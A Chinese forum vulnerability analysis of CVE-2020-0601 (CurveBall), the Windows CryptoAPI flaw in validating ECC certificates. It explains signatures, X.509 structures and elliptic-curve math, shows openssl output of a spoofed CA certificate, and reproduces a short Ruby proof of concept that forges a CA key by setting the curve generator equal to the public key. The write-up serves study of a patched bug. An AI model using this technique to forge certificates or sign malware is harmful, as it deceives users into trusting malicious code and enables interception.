【漏洞分析】CVE-2020-0601分析

  • A+
所属分类:安全文章

作者坛账号:XCarthGetlin


大半年没发东西了,本着分享的原则,这次就把我博客的一篇文章分享下,也是一个陈年老洞了,这个CVE-2020-0601的利用方法主要有两种,文章最后介绍了一种,还有一种嘛,等兄弟们自己探索了。

CVE-2020-0601分析

介绍

CVE对该漏洞的简述:

Windows CryptoAPI(Crypt32.dll)验证ECC证书的方法中存在一个欺骗性漏洞,攻击者可以使用伪造的数字码签名证书对一个恶意的可执行文件进行签名来利用该漏洞,使可执行文件看起来像是来自一个可信任的、合法的来源。该漏洞也被称为“Windows CryptoAPI Spoofing Vulnerability”。

在真实环境中,攻击者利用该漏洞可以让一些恶意代码(如勒索病毒)拥有看上去可信任的证书,使得被攻击者安装恶意代码;攻击也可以通过中间人攻击的方式获取被攻击者连接受影响软件的机密信息。

数字签名

简单说明下数字签名。

Bob与Alice进行通信,Bob拥有私钥d,Alice拥有公钥e。Bob向Alice发送消息message,Alice需要确保消息的以下两个性质:

  1. 真实性,即消息确实是从Bob发送过来的;

  2. 完整性,即消息在传输过程中未经过修改;

真实性

Bob首先使用单向散列函数将消息message转换为摘要digest:

 复制代码 隐藏代码
Hash(message)=digest;

然后将摘要使用私钥进行加密,得到密文ciphertext:

 复制代码 隐藏代码
F(d,digest)=ciphertext;

最后将ciphertext附加在消息message后面发送给Alice:

 复制代码 隐藏代码
send(message.append(ciphertext));

Alice接受到Bob发送过来的内容后首先使用公钥对附加的ciphertext解密出digest,只要能解密成功(当然Bob的私钥没有泄露),就能确保发送的内容确实来自Bob:

 复制代码 隐藏代码
G(e,ciphertext)=digest;

完整性

Alice解密出digest后,与发送的内容中的消息部分message使用单向散列函数得到摘要进行对比,相等的话就可以证明message没有被改动过,也就确保了消息的完整性:

 复制代码 隐藏代码
if(Hash(message) == digest)
    return TRUE;
else
    return FALSE;

数字证书的引入

有一位攻击者Mallory试图攻击刚才的认证过程,当Bob持有的私钥绝对安全时,Mallory可以通过窃取替换Alice持有的公钥进行中间人攻击。

此时Mallory伪装成Bob使用自己的私钥向Alice发送消息和加密的消息摘要后,Alice使用Mallory的公钥对消息摘要进行解密并验证哈希后是成功的,Alice仍然会认为Mallory发送过来的内容是完整真实的。

此时Alice就需要第三方的CA中心帮助,将Bob的公钥和一些个人信息进行加密,得到Bob的数字证书。

当Bob将附上证书和签名的消息发送给Alice,Alice使用CA中心的公钥来检查上面的数字证书,解密成功就说明Alice创建了这个证书,Bob的身份是值得信任的。

简单来说,什么东西可能被窃取,那就将其进行加密保存(如这里Alice持有的公钥),并通过第三方来进行验证(CA centre)。

在实际的使用中,数字证书的格式遵循X.509标准。

X.509

X.509是ITU公钥证书的格式标准,使用了ASN.1规定了公钥证书的结构:

 复制代码 隐藏代码
Certificate ::= SEQUENCE{                           //证书全部内容开始,结构化不定长编码
    tbsCertificate          TBSCertificate,         //证书主体
    signatureAlgorithm      AlgorithmIdentifier,    //证书签名算法标识
    signatureValue          BIT STRING              //证书签名值,使用signatureAlgorithmv部分指定的签名算法对tbsCertificate证书主题部分签名后的值
}

证书主体结构:

 复制代码 隐藏代码
TBSCertificate  ::= SEQUENCE{
    version                 [0] EXPLICIT Version DEFAULT v1,    //证书版本号
    sericalNumber           AlgorithmIdentifier,                //证书序列号,对同一CA所颁发的证书,序列号唯一标识证书
    signature               AlgorithmIdentifier,                //证书签名算法标识
    issuer                  Name,                               //证书发行者名称
    validity                Validity,                           //证书有效期
    subject                 Name,                               //证书主体名称
    subjectPublicKeyinfo    SubjectPublicKeyInfo                //证书公钥
    issuerUniqueID  [1]     IMPLICIT UniqueIdentifier OPTIONAL  //证书发行者ID(可选),只在证书版本2,3中才有
    subjectUnique   [2]     IMPLICIT UniqueIdentifier OPTIONAL  //证书主题ID(可选),只在证书版本2,3中才有
    extensions      [3]     EXPLICIT Extentions       OPTIONAL  //证书扩展段(可选),只在证书版本2,3中才有
}

比较关键的SubjectPublicKeyInfo结构:

 复制代码 隐藏代码
SubjectPublicKeyInfo    ::= SEQUENCE{
    algorithm           AlgorithmIdentifier,        //公钥算法信息
    subjectPublicKey    BIT STRING                  //公钥
}

AlgorithmIdentifier(公钥算法信息)结构如下:

 复制代码 隐藏代码
AlgorithmIdentifier     ::= SEQUENCE{
    algorithm           OBJECT IDENTIFIER,                  //对象标识符
    parameters          ANY DEFINED BY algorithm OPTIONAL   //可选参数
}

OID标识了公钥的算法,如rsaEncryption,OID为1.2.840.113549.1.1.1;dsa算法,OID为1.2.840.10040.4.1;ECC算法,OID为1.2.840.10045.2.1。

此时paramter结构如下(由RFC 3279定义):

 复制代码 隐藏代码
EcpkParameters      ::= CHOICE{
    ecParameters    ECParameter,            //用于显示指定曲线参数
    namedCurve      OBJECT IDENTIFIER,      //用于隐式指定曲线参数
    implicitlyCA    NULL   
}

攻击者可以通过使用设置ecParameters参数的证书来伪造合法证书来进行漏洞利用:

 复制代码 隐藏代码
ECParameter     ::= SEQUENCE{
    version     ECPver,             //版本号常设为1
    field       FieldID,            //定义椭圆曲线定义所在的有限域
    curve       Curve,              //定义椭圆曲线的参数a和b
    base        ECPoint,            //设置椭圆曲线的基点P
    order       INTEGER,            //阶数n
    coofactor   INTEGER OPTIONAL    //可选参数,h = #E(Fq)/n
}

ECC

椭圆曲线定义方程:

 复制代码 隐藏代码
y^2 = x^3 + ax + b
(4a^3 + 27b^2 mod p != 0)

该方程的解(x,y)由给定的大素数所决定的素数域GF(p)决定,取x(0 <= x <= p),计算x^3 + ax + b mod p = y^2,这里根据y^2(0 <= y <= p) mod p是否可开根即可。

椭圆曲线的生成元G可以生成椭圆曲线上其他的任意点,即{nG|n属于{1,2,3......}}表示了椭圆曲线所有点。

椭圆曲线上的任一点Q=nG一般通过如下操作计算:

 复制代码 隐藏代码
2G = G ⊕ G
3G = 2G ⊕ G
.......
nG = iG ⊕ jG(i + j = n)

这里的"⊕"为椭圆曲线定义的加法运算。

加密算法

Q=dG,d为私钥,Q为公钥。通过d,G求出Q很简单,而通过Q,G求出d很困难。但是当生成元G没有经过校验,可以任意选取,那很容易通过一个G'伪造出d',只要使得:

 复制代码 隐藏代码
d'G' = dG = Q

即可。

如:

 复制代码 隐藏代码
G' = Q
d' = 1
G'd' = Q

攻击者通过操控ECParameter中的参数显式地指定椭圆曲线;公钥和现有证书的公钥相同。修改椭圆曲线的生成元,使得所有其他的参数与原始证书上使用的命名曲线的预定参数相同来执行该操作。

 复制代码 隐藏代码
C:UsersandycylinDesktopCurveBall-masterCurveBall-master>openssl x509 -in spoofed_ca.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            43:cf:88:69:64:c2:44:ad:bc:d6:d6:4d:b5:44:1f:ef:00:c4:ac:36
        Signature Algorithm: ecdsa-with-SHA256
        Issuer: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Validity
            Not Before: Jul 21 12:01:56 2020 GMT
            Not After : Aug 20 12:01:56 2020 GMT
        Subject: C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (384 bit)
                pub:
                    04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
                    ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
                    ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
                    b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
                    19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
                    27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
                    7a:7d:a6:f4:01:07:ac
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
                    ff:ff:ff:ff
                A:
                    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fe:ff:ff:ff:ff:00:00:00:00:00:00:00:00:
                    ff:ff:ff:fc
                B:
                    00:b3:31:2f:a7:e2:3e:e7:e4:98:8e:05:6b:e3:f8:
                    2d:19:18:1d:9c:6e:fe:81:41:12:03:14:08:8f:50:
                    13:87:5a:c6:56:39:8d:8a:2e:d1:9d:2a:85:c8:ed:
                    d3:ec:2a:ef
                Generator (uncompressed):
                    04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
                    ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
                    ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
                    b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
                    19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
                    27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
                    7a:7d:a6:f4:01:07:ac
                Order:
                    00:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:c7:63:4d:81:f4:
                    37:2d:df:58:1a:0d:b2:48:b0:a7:7a:ec:ec:19:6a:
                    cc:c5:29:73
                Cofactor:  1 (0x1)
                Seed:
                    a3:35:92:6a:a3:19:a2:7a:1d:00:89:6a:67:73:a4:
                    82:7a:cd:ac:73
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08
            X509v3 Authority Key Identifier:
                keyid:43:EF:70:87:B8:9D:BF:EC:88:19:DC:C6:C4:6B:75:0D:75:34:33:08

            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: ecdsa-with-SHA256
         30:66:02:31:00:c0:a1:bd:26:39:2b:e8:ac:60:8b:2c:2b:a2:
         d5:ea:cc:53:e4:c7:d6:c0:6b:4a:65:be:5e:3c:d5:82:f0:e3:
         61:b2:c1:c2:54:cd:c2:f8:64:89:bd:00:d3:2b:9a:67:ee:02:
         31:00:c1:03:bc:41:3d:ec:19:89:5f:1d:f4:b2:ad:43:6b:da:
         60:b7:6f:ae:2b:17:00:78:db:d0:ab:cc:db:02:b7:96:d0:0b:
         01:ce:c9:a6:df:b2:0e:56:d3:79:7f:37:3c:e2

可以看到伪造的证书生成元与公钥相同均为:

 复制代码 隐藏代码
04:c7:11:16:2a:76:1d:56:8e:be:b9:62:65:d4:c3:
ce:b4:f0:c3:30:ec:8f:6d:d7:6e:39:bc:c8:49:ab:
ab:b8:e3:43:78:d5:81:06:5d:ef:c7:7d:9f:ce:d6:
b3:90:75:de:0c:b0:90:de:23:ba:c8:d1:3e:67:e0:
19:a9:1b:86:31:1e:5f:34:2d:ee:17:fd:15:fb:7e:
27:8a:32:a1:ea:c9:8f:c9:7e:18:cb:2f:3b:2c:48:
7a:7d:a6:f4:01:07:ac

漏洞分析

漏洞利用样例

真实情形下系统使用ECC证书的例子:

  1. windows与wikipedia进行TLS可靠通信,wikipedia拥有由CA中心颁发的证书:

【漏洞分析】CVE-2020-0601分析


  1. wikipedia将证书发送给windows:

【漏洞分析】CVE-2020-0601分析


  1. windows会将证书放到自己的缓存中以方便下次使用,当下次使用时证书存在缓存中,则使用缓存中的证书进行校验:

【漏洞分析】CVE-2020-0601分析


  1. 攻击者可以伪造假的网站证书来伪装成合法网站通过windows证书校验:

【漏洞分析】CVE-2020-0601分析


这里【4】就是利用了CVE-2020-0601漏洞,该漏洞实则为windows证书缓存机制的漏洞。

缓存中保存了一些证书的公钥,攻击者可以使用其中一个的公钥进行伪造证书:

【漏洞分析】CVE-2020-0601分析


而由于缓存的证书没有验证椭圆曲线的定义,导致了证书的伪造成功:

【漏洞分析】CVE-2020-0601分析


这里就可以通过上述显式的指定ECC(指定p,a,b)来伪造可靠证书中的椭圆曲线,然后指定生成元等于公钥,这样私钥就是1,伪造出证书。

POC

Ollypwn的POC:

 复制代码 隐藏代码
require 'openssl'

# 读取文件
raw =   File.read ARGV[0]

# 将合法证书读取为证书
ca  =   OpenSSL::X509::Certficate.new(raw)

# 获取合法证书公钥
ca_pubkey   =   ca.public_key

# 设置私钥为1
ca_pubkey.private_key   =   1

# 获取椭圆曲线的参数
group   =   ca_pubkey.group

# 设置生成元等于公钥
group.set_generator(ca_pubkey.public_key,group.order,group.cofactor)

# 保证使用的是ECC的参数
group.asn1_flag =   OpenSSL::PKey::EC::EXPLICIT_CURVE

# 在公钥(最终点)基础上设置修改后的椭圆参数
ca_pubkey.group =   group

# 写入伪造证书
File.open("spoofed_ca.key",'w'){|f|f.write  ca_pubkey.to_pem}

code signing 欺骗

为软件进行签名:

【漏洞分析】CVE-2020-0601分析


攻击成功。

安装好补丁的则提示证书不可信:

【漏洞分析】CVE-2020-0601分析


参考:

https://github.com/ollypwn/CurveBall

https://ctf-wiki.github.io/ctf-wiki/crypto/signature/elgamal-zh/

https://blog.trendmicro.com/trendlabs-security-intelligence/an-in-depth-technical-analysis-of-curveball-cve-2020-0601/

https://www.anquanke.com/post/id/201228#h2-5


--

www.52pojie.cn


--

pojie_52

本文始发于微信公众号(吾爱破解论坛):【漏洞分析】CVE-2020-0601分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: